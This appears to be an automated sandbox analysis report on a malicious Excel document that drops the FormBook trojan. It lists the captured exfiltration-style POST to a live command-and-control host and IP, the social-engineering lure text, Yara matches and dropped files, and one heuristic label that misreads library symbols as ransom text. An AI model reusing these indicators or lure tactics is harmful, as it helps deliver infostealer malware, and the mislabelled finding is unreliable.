Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Mon, 20 Mar 2023 09:34:58 GMTContent-Type: text/htmlContent-Length: 153Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 20 Mar 2023 09:35:05 GMTContent-Type: text/htmlContent-Length: 199Connection: closeAccept-Ranges: bytesVary: Accept-Encoding,User-AgentContent-Encoding: gzipData Raw: 1f 8b 08 00 00 00 00 00 00 03 e5 8e c1 0e 82 30 10 44 ef fd 8a d5 bb 5d 34 1e 9b 26 4a 4b 6c 82 60 4c 39 70 14 a8 81 a8 10 69 91 df b7 d5 8b ff e0 de 66 f6 ed cc b2 85 c8 63 5d 9e 24 1c f4 31 85 53 b1 4f 55 0c cb 15 a2 92 3a 41 14 5a 7c 37 1b 1a 21 ca 6c c9 09 0b 9a b3 83 dc 09 2f b4 d2 a9 e4 db 68 0b d9 e0 20 19 a6 be 61 f8 35 09 c3 0f c4 f6 b9 28 c3 dd 9a ff 30 5e 11 dd 1a 18 cd 73 32 d6 99 06 8a 73 0a 38 6d 6e 15 c2 7c b1 d0 7b f6 1a 58 18 7a 70 6d 67 c1 9a f1 65 46 ea 93 ce 3e 4e f1 79 9e 69 d5 b9 60 77 b5 b1 77 d7 d0 7a 78 30 54 a1 fa 53 ea 6b c2 b3 e4 9f e7 0d 15 d1 11 fb e3 01 00 00 Data Ascii: 0D]4&JKl`L9pifc]$1SOU:AZ|7!l/h a5(0^s2s8mn|{XzpmgeF>Nyi`wwzx0TSk
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 20 Mar 2023 09:35:10 GMTContent-Type: text/htmlContent-Length: 199Connection: closeAccept-Ranges: bytesVary: Accept-Encoding,User-AgentContent-Encoding: gzipData Raw: 1f 8b 08 00 00 00 00 00 00 03 e5 8e c1 0e 82 30 10 44 ef fd 8a d5 bb 5d 34 1e 9b 26 4a 4b 6c 82 60 4c 39 70 14 a8 81 a8 10 69 91 df b7 d5 8b ff e0 de 66 f6 ed cc b2 85 c8 63 5d 9e 24 1c f4 31 85 53 b1 4f 55 0c cb 15 a2 92 3a 41 14 5a 7c 37 1b 1a 21 ca 6c c9 09 0b 9a b3 83 dc 09 2f b4 d2 a9 e4 db 68 0b d9 e0 20 19 a6 be 61 f8 35 09 c3 0f c4 f6 b9 28 c3 dd 9a ff 30 5e 11 dd 1a 18 cd 73 32 d6 99 06 8a 73 0a 38 6d 6e 15 c2 7c b1 d0 7b f6 1a 58 18 7a 70 6d 67 c1 9a f1 65 46 ea 93 ce 3e 4e f1 79 9e 69 d5 b9 60 77 b5 b1 77 d7 d0 7a 78 30 54 a1 fa 53 ea 6b c2 b3 e4 9f e7 0d 15 d1 11 fb e3 01 00 00 Data Ascii: 0D]4&JKl`L9pifc]$1SOU:AZ|7!l/h a5(0^s2s8mn|{XzpmgeF>Nyi`wwzx0TSk
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 20 Mar 2023 09:35:12 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-EncodingAccept-Ranges: bytesVary: Accept-Encoding,User-AgentData Raw: 32 36 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 32 6b 62 2f 3f 4d 58 3d 72 72 2b 73 4f 42 76 45 58 73 42 64 47 65 76 55 6b 70 45 46 76 6a 4f 47 53 75 59 6a 7a 69 31 59 4e 48 6d 58 69 76 72 39 32 46 51 68 52 49 49 59 73 65 64 52 32 61 2b 36 47 6f 56 31 57 41 4b 65 47 64 6a 2b 4d 54 64 58 35 31 32 6c 4a 58 6e 77 66 62 53 45 69 2b 6b 55 52 63 4d 6c 58 4e 6a 55 34 69 70 52 76 2b 67 3d 26 61 6d 70 3b 75 46 49 5f 3d 73 72 6f 78 61 5f 39 47 37 71 68 39 33 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 48 52 3e 0a 3c 49 3e 77 77 77 2e 62 69 74 73 65 72 76 69 63 65 73 6c 74 64 2e 63 6f 6d 3c 2f 49 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0d 0a Data Ascii: 266<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY><H1>Not Found</H1>The requested URL /u2kb/?MX=rr+sOBvEXsBdGevUkpEFvjOGSuYjzi1YNHmXivr92FQhRIIYsedR2a+6GoV1WAKeGdj+MTdX512lJXnwfbSEi+kURcMlXNjU4ipRv+g=&amp;uFI_=sroxa_9G7qh93 was not found on this server.<HR><I>www.bitservicesltd.com</I></BODY></HTML>
Source: unknown TCP traffic detected without corresponding DNS query: 103.189.202.84
Source: unknown TCP traffic detected without corresponding DNS query: 103.189.202.84
Source: unknown TCP traffic detected without corresponding DNS query: 103.189.202.84
Source: unknown TCP traffic detected without corresponding DNS query: 103.189.202.84
Source: unknown TCP traffic detected without corresponding DNS query: 103.189.202.84
Source: unknown TCP traffic detected without corresponding DNS query: 103.189.202.84
Source: unknown TCP traffic detected without corresponding DNS query: 103.189.202.84
Source: unknown TCP traffic detected without corresponding DNS query: 103.189.202.84
Source: unknown TCP traffic detected without corresponding DNS query: 103.189.202.84
Source: unknown TCP traffic detected without corresponding DNS query: 103.189.202.84
Source: unknown TCP traffic detected without corresponding DNS query: 103.189.202.84
Source: unknown TCP traffic detected without corresponding DNS query: 103.189.202.84
Source: unknown TCP traffic detected without corresponding DNS query: 103.189.202.84
Source: unknown TCP traffic detected without corresponding DNS query: 103.189.202.84
Source: unknown TCP traffic detected without corresponding DNS query: 103.189.202.84
Source: unknown TCP traffic detected without corresponding DNS query: 103.189.202.84
Source: unknown TCP traffic detected without corresponding DNS query: 103.189.202.84
Source: unknown TCP traffic detected without corresponding DNS query: 103.189.202.84
Source: unknown TCP traffic detected without corresponding DNS query: 103.189.202.84
Source: unknown TCP traffic detected without corresponding DNS query: 103.189.202.84
Source: unknown TCP traffic detected without corresponding DNS query: 103.189.202.84
Source: unknown TCP traffic detected without corresponding DNS query: 103.189.202.84
Source: unknown TCP traffic detected without corresponding DNS query: 103.189.202.84
Source: unknown TCP traffic detected without corresponding DNS query: 103.189.202.84
Source: unknown TCP traffic detected without corresponding DNS query: 103.189.202.84
Source: unknown TCP traffic detected without corresponding DNS query: 103.189.202.84
Source: unknown TCP traffic detected without corresponding DNS query: 103.189.202.84
Source: unknown TCP traffic detected without corresponding DNS query: 103.189.202.84
Source: unknown TCP traffic detected without corresponding DNS query: 103.189.202.84
Source: unknown TCP traffic detected without corresponding DNS query: 103.189.202.84
Source: unknown TCP traffic detected without corresponding DNS query: 103.189.202.84
Source: unknown TCP traffic detected without corresponding DNS query: 103.189.202.84
Source: unknown TCP traffic detected without corresponding DNS query: 103.189.202.84
Source: unknown TCP traffic detected without corresponding DNS query: 103.189.202.84
Source: unknown TCP traffic detected without corresponding DNS query: 103.189.202.84
Source: unknown TCP traffic detected without corresponding DNS query: 103.189.202.84
Source: unknown TCP traffic detected without corresponding DNS query: 103.189.202.84
Source: unknown TCP traffic detected without corresponding DNS query: 103.189.202.84
Source: unknown TCP traffic detected without corresponding DNS query: 103.189.202.84
Source: unknown TCP traffic detected without corresponding DNS query: 103.189.202.84
Source: unknown TCP traffic detected without corresponding DNS query: 103.189.202.84
Source: unknown TCP traffic detected without corresponding DNS query: 103.189.202.84
Source: unknown TCP traffic detected without corresponding DNS query: 103.189.202.84
Source: unknown TCP traffic detected without corresponding DNS query: 103.189.202.84
Source: unknown TCP traffic detected without corresponding DNS query: 103.189.202.84
Source: unknown TCP traffic detected without corresponding DNS query: 103.189.202.84
Source: unknown TCP traffic detected without corresponding DNS query: 103.189.202.84
Source: unknown TCP traffic detected without corresponding DNS query: 103.189.202.84
Source: unknown TCP traffic detected without corresponding DNS query: 103.189.202.84
Source: unknown TCP traffic detected without corresponding DNS query: 103.189.202.84
Source: EQNEDT32.EXE, 00000002.00000002.969457766.0000000000699000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000010.00000002.1184336192.00000000006B9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: /moc.nideknil.wwwwww.linkedin.com equals www.linkedin.com (Linkedin)
Source: explorer.exe, 0000000C.00000000.1037108561.0000000003B10000.00000002.00000001.00040000.00000000.sdmp String found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail)
Source: EQNEDT32.EXE, 00000002.00000002.969457766.0000000000699000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000010.00000002.1184336192.00000000006B9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: www.linkedin.com equals www.linkedin.com (Linkedin)
Source: unknown HTTP traffic detected: POST /u2kb/ HTTP/1.1Host: www.gritslab.comConnection: closeContent-Length: 184Cache-Control: no-cacheOrigin: http://www.gritslab.comUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://www.gritslab.com/u2kb/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 4d 58 3d 28 66 71 54 47 58 66 5f 6b 4e 50 63 28 71 42 41 48 34 79 65 65 47 71 37 51 76 76 30 28 4b 48 6e 55 46 49 79 6f 36 46 44 47 79 4f 78 31 52 43 64 68 42 69 47 5a 54 69 70 36 4d 43 78 41 63 47 79 67 38 32 47 4b 76 51 30 79 71 62 56 46 4d 4f 67 5a 46 52 4d 6a 4a 7e 30 73 66 28 38 7a 79 58 7a 66 6e 39 50 4a 59 77 36 54 47 71 44 36 43 4e 68 44 53 6d 4f 36 4a 42 39 58 68 68 45 7a 70 39 37 45 71 79 67 43 70 6c 45 44 6a 74 62 50 61 61 41 41 54 74 76 34 66 34 75 37 70 38 65 72 6f 7a 68 34 48 6d 6e 74 54 6c 56 7e 6e 34 49 4a 41 62 6a 6e 67 29 2e 00 00 00 00 00 00 00 00 Data Ascii: MX=(fqTGXf_kNPc(qBAH4yeeGq7Qvv0(KHnUFIyo6FDGyOx1RCdhBiGZTip6MCxAcGyg82GKvQ0yqbVFMOgZFRMjJ~0sf(8zyXzfn9PJYw6TGqD6CNhDSmO6JB9XhhEzp97EqygCplEDjtbPaaAATtv4f4u7p8erozh4HmntTlV~n4IJAbjng).
Contains functionality for read data from the clipboard
Source: C:\Users\Public\vbc.exe Code function: 5_2_00405809 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard, 5_2_00405809

E-Banking Fraud
barindex
Yara detected FormBook
Source: Yara match File source: 8.2.mcwfy.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.mcwfy.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000010.00000002.1184042628.00000000000E0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.1055408046.00000000003B0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000012.00000002.1137588402.0000000000230000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.1055247288.0000000000260000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000002.1184129727.00000000002B0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.1055435528.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000002.1184187420.00000000002E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Spam, unwanted Advertisements and Ransom Demands
barindex
Found potential ransomware demand text
Source: wscript.exe, 00000010.00000003.1125600882.0000000006562000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: ?_Unlock@?$basic_streambuf@DU?$char_traits@D@std@@@std@@UAEXXZ
Source: wscript.exe, 00000010.00000003.1125600882.0000000006562000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: ?_Unlock@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@UAEXXZ
Source: wscript.exe, 00000010.00000003.1126038884.00000000053D0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: ?_Unlock@?$basic_streambuf@DU?$char_traits@D@std@@@std@@UAEXXZ
Source: wscript.exe, 00000010.00000003.1126038884.00000000053D0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: ?_Unlock@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@UAEXXZ

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 8.2.mcwfy.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 8.2.mcwfy.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 8.2.mcwfy.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 8.2.mcwfy.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000010.00000002.1184042628.00000000000E0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000010.00000002.1184042628.00000000000E0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000008.00000002.1055408046.00000000003B0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000008.00000002.1055408046.00000000003B0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000012.00000002.1137588402.0000000000230000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000012.00000002.1137588402.0000000000230000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000008.00000002.1055247288.0000000000260000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000008.00000002.1055247288.0000000000260000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000010.00000002.1184129727.00000000002B0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000010.00000002.1184129727.00000000002B0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000008.00000002.1055435528.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000008.00000002.1055435528.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000010.00000002.1184187420.00000000002E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000010.00000002.1184187420.00000000002E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Source: Screenshot number: 4 Screenshot OCR: Enable Editing from the yellow bar above protected documents the yellow bar above 22 23 24 25
Source: Screenshot number: 4 Screenshot OCR: document is protected "ocmm ~m 14 N~H H m 15 TW ~0 ~ = r~ 16 "m "ocmm 17 "A0
Source: Screenshot number: 4 Screenshot OCR: protected documents the yellow bar above 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
Source: Screenshot number: 12 Screenshot OCR: protected documents the yellow bar above 'V I q I"' 'N.:' a S %10 m '00% G) A GE)
Source: Document image extraction number: 0 Screenshot OCR: document is protected Open the document In If document was Once you have embkd Mkrosoft Office ckj
Source: Document image extraction number: 0 Screenshot OCR: protected documents the yellow bar abwe pnnt~&nme 3'1.'2023 & 2 33 pm By R3OAJ7M pweor
Source: Document image extraction number: 0 Screenshot OCR: Enable Content" from not availabk for 'Enjbk Edmng from the ydlow bar above protected documents th
Source: Screenshot number: 20 Screenshot OCR: protected documents the yeuow bar above 1 G I I q |11| 'V 'N.:' Saving jmgs, Press ESC to canc
Excel sheet contains many unusual embedded objects
Source: d0#U10dc.xls OLE: Microsoft Word 2007+
Source: d0#U10dc.xls OLE: Microsoft Excel 2007+
Source: ~DF2613BCA6826298A5.TMP.0.dr OLE: Microsoft Excel 2007+
Source: ~DFF43C2C98E1EF8FBE.TMP.0.dr OLE: Microsoft Excel 2007+
Source: ~DFCD0A74EBC3B8D0D3.TMP.0.dr OLE: Microsoft Excel 2007+
Source: ~DF105CE6962F655752.TMP.0.dr OLE: Microsoft Excel 2007+
Source: ~DFAEEDEE6F10B6AFDD.TMP.0.dr OLE: Microsoft Excel 2007+
Source: ~DFF3DB96A6682A15C6.TMP.0.dr OLE: Microsoft Excel 2007+
Source: ~DF4DCF212DAF54DAAA.TMP.0.dr OLE: Microsoft Excel 2007+
Source: ~DF3759C9448D2ED5D7.TMP.0.dr OLE: Microsoft Excel 2007+
Office equation editor drops PE file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\Public\vbc.exe Jump to dropped file
Detected potential crypto function
Source: C:\Users\Public\vbc.exe Code function: 5_2_00406D5F 5_2_00406D5F
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 6_2_00410331 6_2_00410331
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 6_2_002608B7 6_2_002608B7
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 6_2_00260A3B 6_2_00260A3B
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_0040C043 8_2_0040C043
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_00405873 8_2_00405873
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_00401824 8_2_00401824
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_00401830 8_2_00401830
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_0040C03E 8_2_0040C03E
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_004038F3 8_2_004038F3
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_00422A4C 8_2_00422A4C
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_00401BD0 8_2_00401BD0
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_00405653 8_2_00405653
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_00420753 8_2_00420753
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_0094E0C6 8_2_0094E0C6
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_0097D005 8_2_0097D005
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_0096905A 8_2_0096905A
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_00953040 8_2_00953040
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_009CD06D 8_2_009CD06D
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_0094E2E9 8_2_0094E2E9
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_009F1238 8_2_009F1238
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_009F63BF 8_2_009F63BF
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_009763DB 8_2_009763DB
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_0094F3CF 8_2_0094F3CF
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_00952305 8_2_00952305
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_00957353 8_2_00957353
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_0099A37B 8_2_0099A37B
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_00985485 8_2_00985485
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_00961489 8_2_00961489
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_009D443E 8_2_009D443E
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_0098D47D 8_2_0098D47D
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_0096C5F0 8_2_0096C5F0
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_009D05E3 8_2_009D05E3
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_0095351F 8_2_0095351F
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_00996540 8_2_00996540
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_00954680 8_2_00954680
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_0095E6C1 8_2_0095E6C1
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_0099A634 8_2_0099A634
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_009F2622 8_2_009F2622
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_009D579A 8_2_009D579A
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_0095C7BC 8_2_0095C7BC
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_009857C3 8_2_009857C3
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_009CF8C4 8_2_009CF8C4
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_009EF8EE 8_2_009EF8EE
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_0095C85C 8_2_0095C85C
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_0097286D 8_2_0097286D
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_009F098E 8_2_009F098E
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_009529B2 8_2_009529B2
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_009669FE 8_2_009669FE
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_009D5955 8_2_009D5955
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_009D394B 8_2_009D394B
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_00A03A83 8_2_00A03A83
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_009FCBA4 8_2_009FCBA4
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_009DDBDA 8_2_009DDBDA
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_009D6BCB 8_2_009D6BCB
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_00977B00 8_2_00977B00
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_009EFDDD 8_2_009EFDDD
Document misses a certain OLE stream usually present in this Microsoft Office document type
Source: ~DF2613BCA6826298A5.TMP.0.dr OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: ~DFF43C2C98E1EF8FBE.TMP.0.dr OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: ~DFCD0A74EBC3B8D0D3.TMP.0.dr OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: ~DF105CE6962F655752.TMP.0.dr OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: ~DFAEEDEE6F10B6AFDD.TMP.0.dr OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: ~DFF3DB96A6682A15C6.TMP.0.dr OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: ~DF4DCF212DAF54DAAA.TMP.0.dr OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: 87F4.tmp.0.dr OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: ~DF3759C9448D2ED5D7.TMP.0.dr OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Tries to load missing DLLs
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: mozglue.dll
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: winsqlite3.dll
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: winsqlite3.dll
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: winsqlite3.dll
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: winsqlite3.dll
PE file contains more sections than normal
Source: sqlite3.dll.16.dr Static PE information: Number of sections : 18 > 10
Dropped file seen in connection with other malware
